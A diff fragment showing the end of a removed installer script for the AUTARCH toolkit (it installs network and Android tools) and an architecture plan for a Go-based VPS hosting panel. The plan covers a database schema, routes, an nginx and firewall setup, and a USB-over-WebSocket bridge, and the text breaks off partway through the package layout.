|
|
||||||
if ! has nmap; then
|
|
||||||
packages+=("nmap")
|
|
||||||
status "Will install: nmap"
|
|
||||||
else
|
|
||||||
ok "nmap already installed"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# tshark
|
|
||||||
if ! has tshark; then
|
|
||||||
case "$PM" in
|
|
||||||
apt) packages+=("tshark") ;;
|
|
||||||
dnf) packages+=("wireshark-cli") ;;
|
|
||||||
pacman) packages+=("wireshark-cli") ;;
|
|
||||||
esac
|
|
||||||
status "Will install: tshark/wireshark-cli"
|
|
||||||
else
|
|
||||||
ok "tshark already installed"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# openssl
|
|
||||||
if ! has openssl; then
|
|
||||||
packages+=("openssl")
|
|
||||||
status "Will install: openssl"
|
|
||||||
else
|
|
||||||
ok "openssl already installed"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# adb/fastboot
|
|
||||||
if ! has adb; then
|
|
||||||
case "$PM" in
|
|
||||||
apt) packages+=("android-tools-adb android-tools-fastboot") ;;
|
|
||||||
dnf) packages+=("android-tools") ;;
|
|
||||||
pacman) packages+=("android-tools") ;;
|
|
||||||
esac
|
|
||||||
status "Will install: adb + fastboot"
|
|
||||||
else
|
|
||||||
ok "adb already installed"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# wireguard
|
|
||||||
if ! has wg; then
|
|
||||||
case "$PM" in
|
|
||||||
apt) packages+=("wireguard wireguard-tools") ;;
|
|
||||||
dnf) packages+=("wireguard-tools") ;;
|
|
||||||
pacman) packages+=("wireguard-tools") ;;
|
|
||||||
esac
|
|
||||||
status "Will install: wireguard-tools"
|
|
||||||
else
|
|
||||||
ok "wireguard already installed"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# miniupnpc
|
|
||||||
if ! has upnpc; then
|
|
||||||
packages+=("miniupnpc")
|
|
||||||
status "Will install: miniupnpc"
|
|
||||||
else
|
|
||||||
ok "miniupnpc already installed"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ ${#packages[@]} -gt 0 ]; then
|
|
||||||
echo
|
|
||||||
info "Installing with: $PM"
|
|
||||||
if [ "$PM" = "apt" ]; then
|
|
||||||
sudo apt-get update -qq 2>&1 | tail -1
|
|
||||||
fi
|
|
||||||
$INSTALL ${packages[@]} 2>&1 | tail -5
|
|
||||||
ok "System tools installed"
|
|
||||||
else
|
|
||||||
ok "All system tools already present"
|
|
||||||
fi
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
install_node_hw() {
|
|
||||||
header "HARDWARE JS BUNDLES (WebUSB / Web Serial)"
|
|
||||||
|
|
||||||
if ! has npm; then
|
|
||||||
fail "npm not found — install Node.js first"
|
|
||||||
info "https://nodejs.org or: apt install nodejs npm"
|
|
||||||
echo
|
|
||||||
return
|
|
||||||
fi
|
|
||||||
|
|
||||||
step_progress "npm install..."
|
|
||||||
(cd "$SCRIPT_DIR" && npm install --silent 2>&1 | tail -3)
|
|
||||||
|
|
||||||
step_progress "Building bundles..."
|
|
||||||
if [ -f "$SCRIPT_DIR/scripts/build-hw-libs.sh" ]; then
|
|
||||||
(cd "$SCRIPT_DIR" && bash scripts/build-hw-libs.sh 2>&1 | tail -5)
|
|
||||||
ok "Hardware bundles built"
|
|
||||||
else
|
|
||||||
warn "scripts/build-hw-libs.sh not found"
|
|
||||||
fi
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
# ── Summary ──────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
show_summary() {
|
|
||||||
hr "═"
|
|
||||||
printf "\n${BLD}${G} INSTALLATION COMPLETE${RST}\n\n"
|
|
||||||
|
|
||||||
printf " ${BLD}${W}Quick Start:${RST}\n"
|
|
||||||
echo
|
|
||||||
|
|
||||||
if [ "$OS" = "windows" ]; then
|
|
||||||
printf " ${D}# Activate the virtual environment${RST}\n"
|
|
||||||
printf " ${C}source venv/Scripts/activate${RST}\n\n"
|
|
||||||
else
|
|
||||||
printf " ${D}# Activate the virtual environment${RST}\n"
|
|
||||||
printf " ${C}source venv/bin/activate${RST}\n\n"
|
|
||||||
fi
|
|
||||||
|
|
||||||
printf " ${D}# Launch the CLI${RST}\n"
|
|
||||||
printf " ${C}python autarch.py${RST}\n\n"
|
|
||||||
|
|
||||||
printf " ${D}# Launch the web dashboard${RST}\n"
|
|
||||||
printf " ${C}python autarch_web.py${RST}\n\n"
|
|
||||||
|
|
||||||
printf " ${D}# Open in browser${RST}\n"
|
|
||||||
printf " ${C}https://localhost:8181${RST}\n"
|
|
||||||
echo
|
|
||||||
|
|
||||||
if $INSTALL_LLM_LOCAL; then
|
|
||||||
printf " ${ARROW} Local LLM: place a .gguf model in ${D}models/${RST}\n"
|
|
||||||
printf " ${D}and set model_path in autarch_settings.conf [llama]${RST}\n"
|
|
||||||
fi
|
|
||||||
if $INSTALL_LLM_CLOUD; then
|
|
||||||
printf " ${ARROW} Claude API: set api_key in ${D}autarch_settings.conf [claude]${RST}\n"
|
|
||||||
fi
|
|
||||||
echo
|
|
||||||
hr "═"
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
# ── Main ─────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
main() {
|
|
||||||
show_banner
|
|
||||||
show_system_check
|
|
||||||
show_menu
|
|
||||||
|
|
||||||
# Calculate total steps for progress
|
|
||||||
TOTAL_STEPS=11 # pip upgrade + 9 core packages + 1 finish
|
|
||||||
$INSTALL_LLM_LOCAL && TOTAL_STEPS=$((TOTAL_STEPS + 1))
|
|
||||||
$INSTALL_LLM_CLOUD && TOTAL_STEPS=$((TOTAL_STEPS + 1))
|
|
||||||
$INSTALL_LLM_HF && TOTAL_STEPS=$((TOTAL_STEPS + 4))
|
|
||||||
$INSTALL_NODE_HW && TOTAL_STEPS=$((TOTAL_STEPS + 2))
|
|
||||||
|
|
||||||
echo
|
|
||||||
create_venv
|
|
||||||
install_core
|
|
||||||
|
|
||||||
$INSTALL_LLM_LOCAL && install_llm_local
|
|
||||||
$INSTALL_LLM_CLOUD && install_llm_cloud
|
|
||||||
$INSTALL_LLM_HF && install_llm_hf
|
|
||||||
$INSTALL_SYSTEM_TOOLS && install_system_tools
|
|
||||||
$INSTALL_NODE_HW && install_node_hw
|
|
||||||
|
|
||||||
show_summary
|
|
||||||
}
|
|
||||||
|
|
||||||
main "$@"
|
|
||||||
@ -1,669 +0,0 @@
|
|||||||
# Setec App Manager — Architecture Plan
|
|
||||||
|
|
||||||
**A lightweight Plesk/cPanel replacement built in Go, designed to work with AUTARCH**
|
|
||||||
|
|
||||||
By darkHal Security Group & Setec Security Labs
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 1. What Is This?
|
|
||||||
|
|
||||||
Setec App Manager is a standalone Go application that turns a bare Debian 13 VPS into a fully managed web hosting platform. It provides:
|
|
||||||
|
|
||||||
- A **web dashboard** (its own HTTP server on port 9090) for managing the VPS
|
|
||||||
- **Multi-domain hosting** with Nginx reverse proxy management
|
|
||||||
- **Git-based deployment** (clone, pull, restart)
|
|
||||||
- **SSL/TLS automation** via Let's Encrypt (ACME)
|
|
||||||
- **AUTARCH-native integration** — first-class support for deploying and managing AUTARCH instances
|
|
||||||
- **System administration** — users, firewall, packages, monitoring, backups
|
|
||||||
- **Float Mode backend** — WebSocket bridge for AUTARCH Cloud Edition USB passthrough
|
|
||||||
|
|
||||||
It is NOT a general-purpose hosting panel. It is purpose-built for running AUTARCH and supporting web applications on a single VPS, with the lightest possible footprint.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 2. Technology Stack
|
|
||||||
|
|
||||||
| Component | Choice | Rationale |
|
|
||||||
|-----------|--------|-----------|
|
|
||||||
| Language | Go 1.22+ | Single binary, no runtime deps, fast |
|
|
||||||
| Web framework | `net/http` + `chi` router | Lightweight, stdlib-based |
|
|
||||||
| Templates | Go `html/template` | Built-in, secure, fast |
|
|
||||||
| Database | SQLite (via `modernc.org/sqlite`) | Zero-config, embedded, pure Go |
|
|
||||||
| Reverse proxy | Nginx (managed configs) | Battle-tested, performant |
|
|
||||||
| SSL | certbot / ACME (`golang.org/x/crypto/acme`) | Let's Encrypt automation |
|
|
||||||
| Auth | bcrypt + JWT sessions | Compatible with AUTARCH's credential format |
|
|
||||||
| Firewall | ufw / iptables (via exec) | Standard Debian tooling |
|
|
||||||
| Process mgmt | systemd (unit generation) | Native Debian service management |
|
|
||||||
| WebSocket | `gorilla/websocket` | For Float Mode USB bridge + live logs |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 3. Directory Structure
|
|
||||||
|
|
||||||
```
|
|
||||||
/opt/setec-manager/
|
|
||||||
├── setec-manager # Single Go binary
|
|
||||||
├── config.yaml # Manager configuration
|
|
||||||
├── data/
|
|
||||||
│ ├── setec.db # SQLite database (sites, users, logs, jobs)
|
|
||||||
│ ├── credentials.json # Admin credentials (bcrypt)
|
|
||||||
│ └── acme/ # Let's Encrypt account + certs
|
|
||||||
├── templates/ # Embedded HTML templates (via embed.FS)
|
|
||||||
├── static/ # Embedded CSS/JS assets
|
|
||||||
└── nginx/
|
|
||||||
├── sites-available/ # Generated per-domain configs
|
|
||||||
└── snippets/ # Shared SSL/proxy snippets
|
|
||||||
```
|
|
||||||
|
|
||||||
**Managed directories on the VPS:**
|
|
||||||
|
|
||||||
```
|
|
||||||
/var/www/ # Web applications root
|
|
||||||
├── autarch/ # AUTARCH instance (cloned from git)
|
|
||||||
├── example.com/ # Static site or app
|
|
||||||
└── api.example.com/ # Another app
|
|
||||||
/etc/nginx/
|
|
||||||
├── sites-available/ # Setec-generated Nginx configs
|
|
||||||
├── sites-enabled/ # Symlinks to active sites
|
|
||||||
└── snippets/
|
|
||||||
├── ssl-params.conf # Shared SSL settings
|
|
||||||
└── proxy-params.conf # Shared proxy headers
|
|
||||||
/etc/systemd/system/
|
|
||||||
├── setec-manager.service # Manager itself
|
|
||||||
├── autarch-web.service # AUTARCH web service
|
|
||||||
├── autarch-dns.service # AUTARCH DNS service
|
|
||||||
└── app-*.service # Per-app service units
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 4. Database Schema
|
|
||||||
|
|
||||||
```sql
|
|
||||||
-- Sites / domains managed by the panel
|
|
||||||
CREATE TABLE sites (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
domain TEXT NOT NULL UNIQUE,
|
|
||||||
aliases TEXT DEFAULT '', -- comma-separated alt domains
|
|
||||||
app_type TEXT NOT NULL DEFAULT 'static', -- 'static', 'reverse_proxy', 'autarch', 'python', 'node'
|
|
||||||
app_root TEXT NOT NULL, -- /var/www/domain.com
|
|
||||||
app_port INTEGER DEFAULT 0, -- backend port (for reverse proxy)
|
|
||||||
app_entry TEXT DEFAULT '', -- entry point (e.g., autarch_web.py, server.js)
|
|
||||||
git_repo TEXT DEFAULT '', -- git clone URL
|
|
||||||
git_branch TEXT DEFAULT 'main',
|
|
||||||
ssl_enabled BOOLEAN DEFAULT FALSE,
|
|
||||||
ssl_cert_path TEXT DEFAULT '',
|
|
||||||
ssl_key_path TEXT DEFAULT '',
|
|
||||||
ssl_auto BOOLEAN DEFAULT TRUE, -- auto Let's Encrypt
|
|
||||||
enabled BOOLEAN DEFAULT TRUE,
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
|
||||||
updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);
|
|
||||||
|
|
||||||
-- System users (for SSH/SFTP access)
|
|
||||||
CREATE TABLE system_users (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
username TEXT NOT NULL UNIQUE,
|
|
||||||
uid INTEGER,
|
|
||||||
home_dir TEXT,
|
|
||||||
shell TEXT DEFAULT '/bin/bash',
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);
|
|
||||||
|
|
||||||
-- Manager users (web panel login)
|
|
||||||
CREATE TABLE manager_users (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
username TEXT NOT NULL UNIQUE,
|
|
||||||
password_hash TEXT NOT NULL,
|
|
||||||
role TEXT DEFAULT 'admin', -- 'admin', 'viewer'
|
|
||||||
force_change BOOLEAN DEFAULT FALSE,
|
|
||||||
last_login DATETIME,
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);
|
|
||||||
|
|
||||||
-- Deployment history
|
|
||||||
CREATE TABLE deployments (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
site_id INTEGER REFERENCES sites(id),
|
|
||||||
action TEXT NOT NULL, -- 'clone', 'pull', 'restart', 'ssl_renew'
|
|
||||||
status TEXT DEFAULT 'pending', -- 'pending', 'running', 'success', 'failed'
|
|
||||||
output TEXT DEFAULT '',
|
|
||||||
started_at DATETIME,
|
|
||||||
finished_at DATETIME
|
|
||||||
);
|
|
||||||
|
|
||||||
-- Scheduled jobs (SSL renewal, backups, git pull)
|
|
||||||
CREATE TABLE cron_jobs (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
site_id INTEGER REFERENCES sites(id), -- NULL for system jobs
|
|
||||||
job_type TEXT NOT NULL, -- 'ssl_renew', 'backup', 'git_pull', 'restart'
|
|
||||||
schedule TEXT NOT NULL, -- cron expression
|
|
||||||
enabled BOOLEAN DEFAULT TRUE,
|
|
||||||
last_run DATETIME,
|
|
||||||
next_run DATETIME
|
|
||||||
);
|
|
||||||
|
|
||||||
-- Firewall rules
|
|
||||||
CREATE TABLE firewall_rules (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
direction TEXT DEFAULT 'in', -- 'in', 'out'
|
|
||||||
protocol TEXT DEFAULT 'tcp',
|
|
||||||
port TEXT NOT NULL, -- '80', '443', '8181', '80,443', '1000:2000'
|
|
||||||
source TEXT DEFAULT 'any',
|
|
||||||
action TEXT DEFAULT 'allow', -- 'allow', 'deny'
|
|
||||||
comment TEXT DEFAULT '',
|
|
||||||
enabled BOOLEAN DEFAULT TRUE
|
|
||||||
);
|
|
||||||
|
|
||||||
-- Float Mode sessions (AUTARCH Cloud Edition)
|
|
||||||
CREATE TABLE float_sessions (
|
|
||||||
id TEXT PRIMARY KEY, -- UUID session token
|
|
||||||
user_id INTEGER REFERENCES manager_users(id),
|
|
||||||
client_ip TEXT,
|
|
||||||
client_agent TEXT, -- browser user-agent
|
|
||||||
usb_bridge BOOLEAN DEFAULT FALSE, -- USB passthrough active
|
|
||||||
connected_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
|
||||||
last_ping DATETIME,
|
|
||||||
expires_at DATETIME
|
|
||||||
);
|
|
||||||
|
|
||||||
-- Backups
|
|
||||||
CREATE TABLE backups (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
site_id INTEGER REFERENCES sites(id), -- NULL for full system backup
|
|
||||||
backup_type TEXT DEFAULT 'site', -- 'site', 'database', 'full'
|
|
||||||
file_path TEXT NOT NULL,
|
|
||||||
size_bytes INTEGER DEFAULT 0,
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 5. Web Dashboard Routes
|
|
||||||
|
|
||||||
### 5.1 Authentication
|
|
||||||
```
|
|
||||||
GET /login → Login page
|
|
||||||
POST /login → Authenticate (returns JWT cookie)
|
|
||||||
POST /logout → Clear session
|
|
||||||
GET /api/auth/status → Current user info
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.2 Dashboard
|
|
||||||
```
|
|
||||||
GET / → Dashboard overview (system stats, sites, services)
|
|
||||||
GET /api/system/info → CPU, RAM, disk, uptime, load
|
|
||||||
GET /api/system/processes → Top processes by resource usage
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.3 Site Management
|
|
||||||
```
|
|
||||||
GET /sites → Site list page
|
|
||||||
GET /sites/new → New site form
|
|
||||||
POST /sites → Create site (clone repo, generate nginx config, enable)
|
|
||||||
GET /sites/:id → Site detail / edit
|
|
||||||
PUT /sites/:id → Update site config
|
|
||||||
DELETE /sites/:id → Remove site (disable nginx, optionally delete files)
|
|
||||||
POST /sites/:id/deploy → Git pull + restart
|
|
||||||
POST /sites/:id/restart → Restart app service
|
|
||||||
POST /sites/:id/stop → Stop app service
|
|
||||||
POST /sites/:id/start → Start app service
|
|
||||||
GET /sites/:id/logs → View app logs (journalctl stream)
|
|
||||||
GET /sites/:id/logs/stream → SSE live log stream
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.4 AUTARCH Management
|
|
||||||
```
|
|
||||||
POST /autarch/install → Clone from git, setup venv, install deps
|
|
||||||
POST /autarch/update → Git pull + pip install + restart
|
|
||||||
GET /autarch/status → Service status, version, config
|
|
||||||
POST /autarch/start → Start AUTARCH web + DNS
|
|
||||||
POST /autarch/stop → Stop all AUTARCH services
|
|
||||||
POST /autarch/restart → Restart all AUTARCH services
|
|
||||||
GET /autarch/config → Read autarch_settings.conf
|
|
||||||
PUT /autarch/config → Update autarch_settings.conf
|
|
||||||
POST /autarch/dns/build → Build DNS server from source
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.5 SSL / Certificates
|
|
||||||
```
|
|
||||||
GET /ssl → Certificate overview
|
|
||||||
POST /ssl/:domain/issue → Issue Let's Encrypt cert (ACME)
|
|
||||||
POST /ssl/:domain/renew → Renew cert
|
|
||||||
POST /ssl/:domain/upload → Upload custom cert + key
|
|
||||||
DELETE /ssl/:domain → Remove cert
|
|
||||||
GET /api/ssl/status → All cert statuses + expiry dates
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.6 Nginx Management
|
|
||||||
```
|
|
||||||
GET /nginx/status → Nginx service status + config test
|
|
||||||
POST /nginx/reload → Reload nginx (graceful)
|
|
||||||
POST /nginx/restart → Restart nginx
|
|
||||||
GET /nginx/config/:domain → View generated config
|
|
||||||
PUT /nginx/config/:domain → Edit config (with validation)
|
|
||||||
POST /nginx/test → nginx -t (config syntax check)
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.7 Firewall
|
|
||||||
```
|
|
||||||
GET /firewall → Rule list + status
|
|
||||||
POST /firewall/rules → Add rule
|
|
||||||
DELETE /firewall/rules/:id → Remove rule
|
|
||||||
POST /firewall/enable → Enable firewall (ufw enable)
|
|
||||||
POST /firewall/disable → Disable firewall
|
|
||||||
GET /api/firewall/status → Current rules + status JSON
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.8 System Users
|
|
||||||
```
|
|
||||||
GET /users → System user list
|
|
||||||
POST /users → Create system user (useradd)
|
|
||||||
DELETE /users/:id → Remove system user
|
|
||||||
POST /users/:id/password → Reset password
|
|
||||||
POST /users/:id/ssh-key → Add SSH public key
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.9 Panel Users
|
|
||||||
```
|
|
||||||
GET /panel/users → Manager user list
|
|
||||||
POST /panel/users → Create panel user
|
|
||||||
PUT /panel/users/:id → Update (role, password)
|
|
||||||
DELETE /panel/users/:id → Remove
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.10 Backups
|
|
||||||
```
|
|
||||||
GET /backups → Backup list
|
|
||||||
POST /backups/site/:id → Backup specific site (tar.gz)
|
|
||||||
POST /backups/full → Full system backup
|
|
||||||
POST /backups/:id/restore → Restore from backup
|
|
||||||
DELETE /backups/:id → Delete backup file
|
|
||||||
GET /backups/:id/download → Download backup archive
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.11 Monitoring
|
|
||||||
```
|
|
||||||
GET /monitor → System monitoring page
|
|
||||||
GET /api/monitor/cpu → CPU usage (1s sample)
|
|
||||||
GET /api/monitor/memory → Memory usage
|
|
||||||
GET /api/monitor/disk → Disk usage per mount
|
|
||||||
GET /api/monitor/network → Network I/O stats
|
|
||||||
GET /api/monitor/services → Service status list
|
|
||||||
WS /api/monitor/live → WebSocket live stats stream (1s interval)
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.12 Float Mode Backend
|
|
||||||
```
|
|
||||||
POST /float/register → Register Float client (returns session token)
|
|
||||||
WS /float/bridge/:session → WebSocket USB bridge (binary frames)
|
|
||||||
GET /float/sessions → Active Float sessions
|
|
||||||
DELETE /float/sessions/:id → Disconnect Float session
|
|
||||||
POST /float/usb/enumerate → List USB devices on connected client
|
|
||||||
POST /float/usb/open → Open USB device on client
|
|
||||||
POST /float/usb/close → Close USB device on client
|
|
||||||
POST /float/usb/transfer → USB bulk/interrupt transfer via bridge
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.13 Logs
|
|
||||||
```
|
|
||||||
GET /logs → Log viewer page
|
|
||||||
GET /api/logs/system → System logs (journalctl)
|
|
||||||
GET /api/logs/nginx → Nginx access + error logs
|
|
||||||
GET /api/logs/setec → Manager logs
|
|
||||||
GET /api/logs/stream → SSE live log stream (filterable)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 6. Core Features Detail
|
|
||||||
|
|
||||||
### 6.1 Site Deployment Flow
|
|
||||||
|
|
||||||
When creating a new site:
|
|
||||||
|
|
||||||
```
|
|
||||||
1. User submits: domain, git_repo (optional), app_type, app_port
|
|
||||||
2. Manager:
|
|
||||||
a. Creates /var/www/<domain>/
|
|
||||||
b. If git_repo: git clone <repo> /var/www/<domain>
|
|
||||||
c. If python app: creates venv, pip install -r requirements.txt
|
|
||||||
d. If node app: npm install
|
|
||||||
e. Generates Nginx config from template
|
|
||||||
f. Writes to /etc/nginx/sites-available/<domain>
|
|
||||||
g. Symlinks to sites-enabled/
|
|
||||||
h. If ssl_auto: runs ACME cert issuance
|
|
||||||
i. Generates systemd unit for the app
|
|
||||||
j. Starts the app service
|
|
||||||
k. Reloads nginx
|
|
||||||
l. Records deployment in database
|
|
||||||
```
|
|
||||||
|
|
||||||
### 6.2 AUTARCH Install Flow
|
|
||||||
|
|
||||||
```
|
|
||||||
1. git clone https://github.com/DigijEth/autarch.git /var/www/autarch
|
|
||||||
2. chown -R autarch:autarch /var/www/autarch
|
|
||||||
3. python3 -m venv /var/www/autarch/venv
|
|
||||||
4. /var/www/autarch/venv/bin/pip install -r /var/www/autarch/requirements.txt
|
|
||||||
5. npm install (in /var/www/autarch for hardware JS bundles)
|
|
||||||
6. bash /var/www/autarch/scripts/build-hw-libs.sh
|
|
||||||
7. Copy default autarch_settings.conf → update web.host/port, web.secret_key
|
|
||||||
8. Generate systemd units (autarch-web, autarch-dns)
|
|
||||||
9. Generate Nginx reverse proxy config (domain → localhost:8181)
|
|
||||||
10. Issue SSL cert
|
|
||||||
11. Enable + start services
|
|
||||||
12. Record deployment
|
|
||||||
```
|
|
||||||
|
|
||||||
### 6.3 Nginx Config Templates
|
|
||||||
|
|
||||||
**Reverse Proxy (AUTARCH / Python / Node):**
|
|
||||||
```nginx
|
|
||||||
server {
|
|
||||||
listen 80;
|
|
||||||
server_name {{.Domain}} {{.Aliases}};
|
|
||||||
|
|
||||||
location /.well-known/acme-challenge/ {
|
|
||||||
root /var/www/certbot;
|
|
||||||
}
|
|
||||||
|
|
||||||
location / {
|
|
||||||
return 301 https://$host$request_uri;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
server {
|
|
||||||
listen 443 ssl http2;
|
|
||||||
server_name {{.Domain}} {{.Aliases}};
|
|
||||||
|
|
||||||
ssl_certificate {{.SSLCertPath}};
|
|
||||||
ssl_certificate_key {{.SSLKeyPath}};
|
|
||||||
include snippets/ssl-params.conf;
|
|
||||||
|
|
||||||
location / {
|
|
||||||
proxy_pass https://127.0.0.1:{{.AppPort}};
|
|
||||||
include snippets/proxy-params.conf;
|
|
||||||
}
|
|
||||||
|
|
||||||
# WebSocket support (for AUTARCH SSE/WebSocket)
|
|
||||||
location /api/ {
|
|
||||||
proxy_pass https://127.0.0.1:{{.AppPort}};
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_set_header Upgrade $http_upgrade;
|
|
||||||
proxy_set_header Connection "upgrade";
|
|
||||||
proxy_read_timeout 86400;
|
|
||||||
include snippets/proxy-params.conf;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Static Site:**
|
|
||||||
```nginx
|
|
||||||
server {
|
|
||||||
listen 443 ssl http2;
|
|
||||||
server_name {{.Domain}};
|
|
||||||
root {{.AppRoot}};
|
|
||||||
index index.html;
|
|
||||||
|
|
||||||
ssl_certificate {{.SSLCertPath}};
|
|
||||||
ssl_certificate_key {{.SSLKeyPath}};
|
|
||||||
include snippets/ssl-params.conf;
|
|
||||||
|
|
||||||
location / {
|
|
||||||
try_files $uri $uri/ =404;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 6.4 Firewall Default Rules
|
|
||||||
|
|
||||||
On first setup, Setec Manager installs these ufw rules:
|
|
||||||
|
|
||||||
```
|
|
||||||
ufw default deny incoming
|
|
||||||
ufw default allow outgoing
|
|
||||||
ufw allow 22/tcp comment "SSH"
|
|
||||||
ufw allow 80/tcp comment "HTTP"
|
|
||||||
ufw allow 443/tcp comment "HTTPS"
|
|
||||||
ufw allow 9090/tcp comment "Setec Manager"
|
|
||||||
ufw allow 8181/tcp comment "AUTARCH Web"
|
|
||||||
ufw allow 53 comment "AUTARCH DNS"
|
|
||||||
ufw enable
|
|
||||||
```
|
|
||||||
|
|
||||||
### 6.5 Float Mode USB Bridge
|
|
||||||
|
|
||||||
The Float Mode bridge is the backend half of AUTARCH Cloud Edition's USB passthrough. It works as follows:
|
|
||||||
|
|
||||||
```
|
|
||||||
┌──────────────────┐ WebSocket ┌──────────────────┐
|
|
||||||
│ User's Browser │◄──────────────────►│ Setec Manager │
|
|
||||||
│ (AUTARCH CE) │ │ (VPS) │
|
|
||||||
└────────┬─────────┘ └────────┬─────────┘
|
|
||||||
│ │
|
|
||||||
│ Float Applet │ USB Commands
|
|
||||||
│ (runs on user's PC) │ forwarded to
|
|
||||||
│ │ AUTARCH modules
|
|
||||||
┌────────▼─────────┐ ┌────────▼─────────┐
|
|
||||||
│ WebSocket Client │ │ AUTARCH Backend │
|
|
||||||
│ + USB Access │ │ (hardware.py │
|
|
||||||
│ (native app) │ │ equivalent) │
|
|
||||||
└────────┬─────────┘ └──────────────────┘
|
|
||||||
│
|
|
||||||
┌────▼────┐
|
|
||||||
│ USB Hub │ ← Physical devices (phones, ESP32, etc.)
|
|
||||||
└─────────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
**Protocol:**
|
|
||||||
1. Float applet on user's PC opens WebSocket to `wss://domain/float/bridge/<session>`
|
|
||||||
2. Manager authenticates session token
|
|
||||||
3. Binary WebSocket frames carry USB commands and data:
|
|
||||||
- Frame type byte: `0x01` = enumerate, `0x02` = open, `0x03` = close, `0x04` = transfer
|
|
||||||
- Payload: device descriptor, endpoint, data
|
|
||||||
4. Manager translates USB operations into AUTARCH hardware module calls
|
|
||||||
5. Results flow back over the same WebSocket
|
|
||||||
|
|
||||||
This is the **server side only**. The client applet is designed in `autarch_float.md`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 7. Go Package Structure
|
|
||||||
|
|
||||||
```
|
|
||||||
services/setec-manager/
|
|
||||||
├── cmd/
|
|
||||||
│ └── main.go # Entry point, flag parsing
|
|
||||||
├── internal/
|
|
||||||
│ ├── server/
|
|
||||||
│ │ ├── server.go # HTTP server setup, middleware, router
|
|
||||||
│ │ ├── auth.go # JWT auth, login/logout handlers
|
|
||||||
│ │ └── middleware.go # Logging, auth check, CORS
|
|
||||||
│ ├── handlers/
|
|
||||||
│ │ ├── dashboard.go # Dashboard + system info
|
|
||||||
│ │ ├── sites.go # Site CRUD + deployment
|
|
||||||
│ │ ├── autarch.go # AUTARCH-specific management
|
|
||||||
│ │ ├── ssl.go # Certificate management
|
|
||||||
│ │ ├── nginx.go # Nginx config + control
|
|
||||||
│ │ ├── firewall.go # ufw rule management
|
|
||||||
│ │ ├── users.go # System + panel user management
|
|
||||||
│ │ ├── backups.go # Backup/restore operations
|
|
||||||
│ │ ├── monitor.go # System monitoring + WebSocket stream
|
|
||||||
│ │ ├── logs.go # Log viewer + SSE stream
|
|
||||||
│ │ └── float.go # Float Mode WebSocket bridge
|
|
||||||
│ ├── nginx/
|
|
||||||
│ │ ├── config.go # Nginx config generation
|
|
||||||
│ │ ├── templates.go # Go templates for nginx configs
|
|
||||||
│ │ └── control.go # nginx reload/restart/test
|
|
||||||
│ ├── acme/
|
|
||||||
│ │ └── acme.go # Let's Encrypt ACME client
|
|
||||||
│ ├── deploy/
|
|
||||||
│ │ ├── git.go # Git clone/pull operations
|
|
||||||
│ │ ├── python.go # Python venv + pip setup
|
|
||||||
│ │ ├── node.go # npm install
|
|
||||||
│ │ └── systemd.go # Service unit generation + control
|
|
||||||
│ ├── system/
|
|
||||||
│ │ ├── info.go # CPU, RAM, disk, network stats
|
|
||||||
│ │ ├── firewall.go # ufw wrapper
|
|
||||||
│ │ ├── users.go # useradd/userdel/passwd wrappers
|
|
||||||
│ │ └── packages.go # apt wrapper
|
|
||||||
│ ├── db/
|
|
||||||
│ │ ├── db.go # SQLite connection + migrations
|
|
||||||
│ │ ├── sites.go # Site queries
|
|
||||||
│ │ ├── users.go # User queries
|
|
||||||
│ │ ├── deployments.go # Deployment history queries
|
|
||||||
│ │ ├── backups.go # Backup queries
|
|
||||||
│ │ └── float.go # Float session queries
|
|
||||||
│ ├── float/
|
|
||||||
